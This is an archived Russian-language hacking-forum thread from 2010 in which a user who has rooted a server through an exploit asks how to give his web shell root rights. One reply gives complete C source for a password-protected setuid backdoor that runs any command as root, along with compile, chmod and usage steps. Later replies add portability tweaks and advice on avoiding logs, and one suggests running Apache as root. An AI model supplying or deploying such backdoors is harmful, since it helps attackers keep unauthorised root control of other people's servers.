PDA

Просмотр полной версии : Как сделать root шел?


amster
21.04.2010, 13:37
Вообщем имеется обычный шел, с помощью експлойта получаю рута, но как сделать шел с правами рута не пойму.
Пробовал давать группу и владельца шелу root, результат 0
Что нужно сделать?

WNZRS
21.04.2010, 13:43
нужно сделать прогу с правами рута, через которую твой шел станет рутовым. Где-то тут статья есть.

Twoster
21.04.2010, 13:46
наипростейший но и палевный способ - сделать суидник - простую программу, которая выполняет посланные в виде аргумента команды, на которую установлены суид-права из под рута (chmod 4***). Есть более надежные способы - типа ссш-протроянивания, но для веб-шелла не подходит.


UPD:
Вот код суидника:
#include <stdio.h>
#include <stdlib.h>
main(int argc, char *argv[])
{
// проверяем количество аргументов
if(argc == 3){
//проверяем наш пароль cool_hack
if(strcmp(argv[1],"cool_hack") == 0){
// Устанавливаем gid(0) r00t
setgid(0);
// Устанавливаем uid(0) r00t
setuid(0);
// Выполняем команды с установленными ранее правами
system(argv[2]);
}
}
return 0;
}
компилишь и устанавливаешь суидные права под рутом, потом с шелла юзаешь, например : "./suid cool_hack id"



UPD2:
изменять права файлу шелла на рутовые не имеет смысла, т.к. php-файл не исполняемый.

$n@ke
21.04.2010, 13:56
Вообщем имеется обычный шел, с помощью експлойта получаю рута, но как сделать шел с правами рута не пойму.
Пробовал давать группу и владельца шелу root, результат 0
Что нужно сделать?
Если имеется ввиду веб-шелл, тогда просто в httpd.conf(или подобном) выставить юзера root вместо apache\www-data и рестартануть апач.

какой вопрос, такой ответ.

ShAnKaR
21.04.2010, 22:00
Если имеется ввиду веб-шелл, тогда просто в httpd.conf(или подобном) выставить юзера root вместо apache\www-data и рестартануть апач.

апач не будет работать

overxor
21.04.2010, 22:25
Twoster, не всегда получается, так что нужен рутовый шел в системе линукс. Во FreeBSD, например, права таким образом не поднимутся.

в стиле bsd и, вообще, портабельней будет делать
setresuid(0,0,0);
setresgid(0,0,0);
Таким образом попытается установить реальный, действительный и сохраненый uid и gid в 0.

В журнале "хакер" эта тема достаточно хорошо освещена
http://www.xakep.ru/post/50734

ЗЫ. Не забывай, что пишется лог об установленных suid'никах

Pashkela
21.04.2010, 22:28
В журнале "хакер" эта тема достаточно хорошо освещена
http://www.xakep.ru/post/50734


кхм, ты на автора той статьи в ][ взгляни, там сверху рыженьким нарисовано

$n@ke
21.04.2010, 23:50
апач не будет работать
я б не стал так категорично..бывали случаи.

overxor
22.04.2010, 00:37
Twoster, сори за невнимательность, не заметил